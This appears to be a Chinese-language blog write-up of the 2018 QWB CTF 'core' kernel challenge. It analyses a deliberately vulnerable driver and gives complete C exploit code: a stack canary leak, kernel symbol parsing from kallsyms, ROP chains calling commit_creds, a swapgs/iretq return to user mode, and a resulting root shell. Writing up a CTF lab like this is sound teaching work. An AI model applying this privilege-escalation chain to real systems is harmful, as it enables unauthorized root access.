Linux Kernel Exploitation 生存日记 - 0x01

Linux Kernel Exploitation 生存日记 - 0x01

2024-10-07·LinuxKernelExploitationPwnLinuxKernelExploitation

Linux Kernel Exploitation 生存日记 - 0x01

ret2usr

原理

内核栈溢出啥的劫持内核驱动的执行流,exp里面写函数执行commit_cred(prepare_kernel_cred(0))或者commit_cred(&init_cred),即可提权到root(执行的代码处于用户的程序中,但是此此时仍然处于内核态),之后swapgs+iretq返回到用户态执行system(“/bin/sh”)即可

Try!- 强网杯2018 - core

题目分析

start.sh:

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

这里可以看到qemu启动linux的参数。 kaslr说明开启了地址随机

之后解压文件系统。

drwxrwxr-x 2 akyoi akyoi 4.0K  3月 17  2018 bin
-rw-rw-r-- 1 akyoi akyoi 6.9K  3月 23  2018 core.ko
drwxrwxr-x 2 akyoi akyoi 4.0K  3月 17  2018 etc
-rwxrwxr-x 1 akyoi akyoi   66  3月 17  2018 gen_cpio.sh
-rwxrwxr-x 1 akyoi akyoi  558  3月 23  2018 init
drwxrwxr-x 3 akyoi akyoi 4.0K  3月 17  2018 lib
drwxrwxr-x 2 akyoi akyoi 4.0K  3月 17  2018 lib64
lrwxrwxrwx 1 akyoi akyoi   11 10月  7 19:31 linuxrc -> bin/busybox
drwxrwxr-x 2 akyoi akyoi 4.0K  3月 17  2018 proc
drwxrwxr-x 2 akyoi akyoi 4.0K  3月 23  2018 root
drwxrwxr-x 2 akyoi akyoi 4.0K  3月 17  2018 sbin
drwxrwxr-x 2 akyoi akyoi 4.0K  3月 17  2018 sys
drwxrwxr-x 2 akyoi akyoi 4.0K  3月 23  2018 tmp
drwxrwxr-x 4 akyoi akyoi 4.0K  3月 17  2018 usr
-rwxrwxr-x 1 akyoi akyoi  46M  3月 23  2018 vmlinux

core.ko就是我们分析的驱动文件。 gen_cpio.sh方便打包cpio

init文件:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms         # 这里备份了kallsyms,这样相当于我们拥有了内核的地址。(/proc/kallsyms在普通用户权限下是查看不了的)
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

我们删去第一个poweroff指令即可关闭定时关机。同时这里也可以设置sh具有的权限:setsid /bin/cttyhack setuidgid 1000 /bin/sh

之后我们IDA分析core.ko文件: 初始化驱动:

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

ioctl函数,我们exp中使用ioctl函数与之交互:

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 0x6677889B:          // 此函数的功能就是根据off输出0x40字节的内容,配合下面的设置off的功能可以泄露canary
      core_read(a3);
      break;
    case 0x6677889C:          // 设置off变量
      printk(&unk_2CD);
      off = a3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(a3);
      break;
  }
  return 0LL;
}

core_write函数,我们使用write函数与之交互:

__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  printk(&unk_215);
  if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
    return (unsigned int)a3;
  printk(&unk_230);
  return 0xFFFFFFF2LL;
}

这里限制的最大长度为0x800

core_copy_func:

__int64 __fastcall core_copy_func(__int64 a1)
{
  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

  v2[8] = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    return 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)a1);
  }
  return result;
}

这里比较a1与63的时候采用的是有符号的比较 之后传参采用movzx ecx, bx会保留最低2字节以及扩展符号位。 这里我们只需控制rbx为负数,而且bx扩展符号位后不会寄掉,即是一个大一些的整数,但是不过于大,比如0x600.

程序的保护如下:

[*] '/home/akyoi/PWN/Kernel/ret2usr/core/core.ko'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x0)
    Stripped:   No

攻击!

首先泄露canary:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>


#define ULL unsigned long long

int main(){
    save_status();
    ULL canary[0x40/8];
    int fd=open("/proc/core",O_RDWR);
    ioctl(fd,0x6677889C,0x40);
    ioctl(fd,0x6677889B,canary);
    printf("Kernel Canary : %p\n",canary[0]);


    return 0;
}

成功拿到canary:

SeaBIOS (version 1.16.3-debian-1.16.3-2)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  
iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+1EFCAE00+1EF0AE00 CA00                                                                                                                                                                                                                                                                 
Booting from ROM...                                                                                                                                                                                                                                           
[    0.021425] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie                                                                                                                                                                              
udhcpc: started, v1.26.2                                                                                                                                                                                                                                      
udhcpc: sending discover                                                                                                                                                                                                                                      
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400                                                                          
/ $ ls                                  
bin          etc          init         proc         tmp
core.cpio    exp          lib          root         usr                                                                        
core.ko      exp.c        lib64        sbin         vmlinux
dev          gen_cpio.sh  linuxrc      sys             
/ $ ./exp                                                                       
Kernel Canary : 0x43962a7a3b2f1800                                              
/ $  

顺便看看/tmp/kallsyms:

/ $ cat /tmp/kallsyms | grep commit_cred
ffffffffafe9c8e0 T commit_creds
/ $ cat /tmp/kallsyms | grep prepare_kernel_cred
ffffffffafe9cce0 T prepare_kernel_cred

之后就可以从这里面读入地址了,减去偏移就可以拿到基址和ROPgadget了。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>


#define ULL unsigned long long

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getshell(){
    system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;

void getbase(){
    FILE *fd=fopen("/tmp/kallsyms", "r");
    size_t addr;
    char x[0x10];
    char buf[0x100];
    int a=0,b=0;
    while(1){
        fscanf(fd,"%lx%s%s",&addr,&x,&buf);
        if (!strcmp("commit_creds",buf)){
            commit_creds=addr;
            a=1;
        }
        if (!strcmp("prepare_kernel_cred",buf)){
            prepare_kernel_cred=addr;
            b=1;
        }
        if(a==1 && b==1)return ;
    }
}

int main(){
    save_status();
    ULL canary[0x40/8];
    int fd=open("/proc/core",O_RDWR);
    ioctl(fd,0x6677889C,0x40);
    ioctl(fd,0x6677889B,canary);
    printf("Kernel Canary : %p\n",canary[0]);
    getbase();
    printf("commit_creds : %p\n",commit_creds);
    printf("prepare_...creds: %p\n",prepare_kernel_cred);

    // getshell();
    return 0;
}

可以看到成功拿到地址了:

/ $ ./exp
Kernel Canary : 0x5392669a9ed6b500
commit_creds : 0xffffffffb6c9c8e0
prepare_...creds: 0xffffffffb6c9cce0
/ $ 

之后ROP执行commit_creds(prepare_kernel_cred(0))或者commit_cred(&init_cred)就行了

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define ULL size_t

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getshell(){
    puts("asdasdasd");
    asm("push rax");
    system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
ULL base;

void getbase(){
    FILE *fd=fopen("/tmp/kallsyms", "r");
    size_t addr;
    char x[0x10];
    char buf[0x100];
    int a=0,b=0;
    while(1){
        fscanf(fd,"%lx%s%s",&addr,&x,&buf);
        if (!strcmp("commit_creds",buf)){
            commit_creds=addr;
            base=commit_creds-0x9c8e0;
            a=1;
        }
        if (!strcmp("prepare_kernel_cred",buf)){
            prepare_kernel_cred=addr;
            b=1;
        }
        if(a==1 && b==1)return ;
    }
}

extern int commit_creds_func(int cred);
extern int prepare_kernel_cred_func(int cred);

void to_root()
{
	char* (*pkc)(int) = prepare_kernel_cred;
	void (*cc)(char*) = commit_creds;
	(*cc)((*pkc)(0));
	/* puts("[*] root now."); */
}

int main(){
    save_status();
    ULL canary111[0x40/8];
    int fd=open("/proc/core",O_RDWR);
    ioctl(fd,0x6677889C,0x40);
    ioctl(fd,0x6677889B,canary111);
    printf("Kernel Canary : %p\n",canary111[0]);
    getbase();
    printf("commit_creds : %p\n",commit_creds);
    printf("prepare_...creds: %p\n",prepare_kernel_cred);
    size_t canary=canary111[0];
    size_t rop[0x800]={0}; // b'a'*0x40+canary+rbp+ret
    memset(rop,0,sizeof(rop));
    ULL offset=base-0xffffffff81000000;
    int i;
    for(i=0;i<10;i++)
    {
      rop[i]=canary;
    }
    // rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
    // rop[i++] = 0;
    // rop[i++] = prepare_kernel_cred;			// prepare_kernel_cred(0)

    // rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    // rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
	  // rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
	  // rop[i++] = commit_creds;

    // rop[i++] = (size_t)to_root;

    rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
    rop[i++] = 0xFFFFFFFF8223D1A0 + offset; // init_cred
    rop[i++] = commit_creds;

	  rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
	  rop[i++] = 0;

	  rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

	  rop[i++] = (size_t)getshell;			// rip 

	  rop[i++] = user_cs;						// cs
	  rop[i++] = user_rflags;					// rflags
	  rop[i++] = user_sp;						// rsp
	  rop[i++] = user_ss;						// ss

    write(fd,rop,0x800);
    ioctl(fd,0x6677889A,0xffffffffffff0100);

    // getshell();
    return 0;
}

第一种:commit_creds(prepare_kernel_cred(0))

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;			// prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
rop[i++] = commit_creds;

第二种:ret2usr

rop[i++] = (size_t)to_root;

第三种:commit_creds(&init_cred)

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0xFFFFFFFF8223D1A0 + offset; // init_cred
rop[i++] = commit_creds;

跑完就能拿到rootshell了

/ $ ./exp_rop
[*] Status has been saved.
Kernel Canary : 0x1802bc00ab651400
commit_creds : 0xffffffffa2e9c8e0
prepare_...creds: 0xffffffffa2e9cce0
asdasdasd
/ # whoami
root
/ # id
uid=0(root) gid=0(root)
/ #